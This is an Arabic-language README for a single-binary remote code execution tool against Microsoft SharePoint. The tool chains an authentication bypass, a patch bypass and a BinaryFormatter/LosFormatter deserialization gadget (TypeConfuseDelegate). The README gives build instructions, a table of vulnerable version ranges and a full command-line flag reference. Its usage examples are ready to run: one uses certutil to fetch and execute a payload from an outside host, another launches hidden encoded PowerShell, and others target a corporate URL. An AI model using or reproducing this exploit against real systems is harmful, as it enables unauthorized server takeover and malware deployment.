
هل تعتقد حقًا أن SharePoint آمن؟
أداة RCE لـ SharePoint ذات ملف ثنائي واحد مكتفٍ ذاتيًا. تُنشئ سلسلة غادجيت TypeConfuseDelegate كبايتات خام من نوع MS-NRBF (بدون ysoserial.exe)، وتغلفها في حمولة إلغاء تسلسل DataSet، وتُوصّلها عبر HTTP باستخدام تخطي المصادقة — كل ذلك في طلقة واحدة.
| الخطوة | CVE | الوصف |
|---|---|---|
| 1 | CVE-2025-49706 | تخطي المصادقة — Referer: /_layouts/SignOut.aspx يتجاوز مصادقة SharePoint |
| 2 | CVE-2025-53771 | تخطي التصحيح — مقطع مسار زائد بعد ToolPane.aspx يتجاوز إصلاح يوليو 2025 |
| 3 | CVE-2025-49704 | إلغاء التسلسل — ExcelDataSet.CompressedDataTable يُشغّل BinaryFormatter على DataSet مُصمّم |
| 4 | — | مخطط DataSet يُجبر LosFormatter.Deserialize() على الحمولة الداخلية عبر ExpandedWrapper + ObjectDataProvider |
| 5 | — | TypeConfuseDelegate — مقارن SortedSet<string> هو Process.Start(string, string)، يُنفّذ cmd /c <command> |
يتم إنشاء تيار البايتات بالكامل (كل من الغلاف الخارجي DataSet والغادجيت الداخلي TypeConfuseDelegate) كسجلات MS-NRBF خام — لا يُستخدم تسلسل وقت تشغيل .NET. وهذا يتطابق مع الصيغة التي ينتجها وحدة Metasploit بايتة ببايتة.
يتطلب .NET Framework 4.8 SDK (Visual Studio 2022 أو أدوات البناء المستقلة):
& "C:\Program Files\Microsoft Visual Studio\2022\Community\MSBuild\Current\Bin\MSBuild.exe" OurSharePoint.sln /p:Configuration=Release
المخرجات: OurSharePoint\bin\Release\OurSharePoint.exe (ملف واحد، بلا تبعيات)
OurSharePoint.exe --cmd="certutil -urlcache -split -f http://10.0.0.5/payload.exe C:\Windows\Temp\p.exe & C:\Windows\Temp\p.exe" --target=https://sp.corp.com
OurSharePoint.exe --cmd="whoami > C:\Windows\Temp\pwned.txt" --target=https://sp.corp.com
OurSharePoint.exe --cmd="powershell -nop -w hidden -enc <base64>" --target=https://sp.corp.com
OurSharePoint.exe --target=https://sp.corp.com --check
OurSharePoint.exe --cmd="calc.exe" --out=exploit
OurSharePoint.exe --cmd="whoami" --target=https://sp.corp.com --proxy=http://127.0.0.1:8080
ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -o base64 -c "cmd /c calc.exe" > gadget.b64
OurSharePoint.exe --in=gadget.b64 --target=https://sp.corp.com
عند استخدام --out، تكتب الأداة:
| الملف | المحتويات |
|---|---|
<prefix>.bin | تيار BinaryFormatter خام لـ DataSet |
<prefix>.b64 | مشفّر بـ GZip + Base64 (ما يُوضع في CompressedDataTable) |
| الإصدار | النطاق المعرض للخطر |
|---|---|
| SharePoint Server Subscription Edition | 16.0.14326.20450 – 16.0.18526.20424 |
| SharePoint Server 2019 | 16.0.10337.12109 – 16.0.10417.20027 |
| SharePoint Enterprise Server 2016 | 16.0.4351.1000 – 16.0.5508.1000 |
| SharePoint Server 2013 | 15.0.4481.1005 – 15.0.5545.1000 |
BinaryWriter. وهذا يتجنب الاختلافات بين مخرجات تسلسل وقت تشغيل .NET وما يتوقعه مُلغى التسلسل الهدف.ObjectStateFormatter (0xFF 0x01 0x32 + طول 7 بت) بدلاً من استخدام LosFormatter.Serialize().| العلم | الوصف | الافتراضي |
|---|
--cmd=COMMAND | الأمر الذي سيتم تنفيذه (يُشغّل كـ cmd /c COMMAND) | — |
--in=FILE | ملف حمولة LosFormatter مُعدّة مسبقًا بصيغة base64 | — |
--target=URL | عنوان SharePoint الأساسي لتوصيل HTTP | — |
--check | بصمة الإصدار فقط، بدون حمولة | — |
--out=PREFIX | بادئة ملف الإخراج | payload |
--sp-version=VER | إصدار مسار التخطيطات (15 أو 16) | 15 |
--proxy=URL | وكيل HTTP | — |
--ua=STRING | وكيل-مستخدم مخصص | Firefox 120 |
--referer=URL | تجاوز Referer لتخطي المصادقة | تلقائي |
--timeout=SEC | مهلة HTTP | 15 |
--a/b/c=NAME | أسماء DataSet/عنصر/عمود | عشوائي |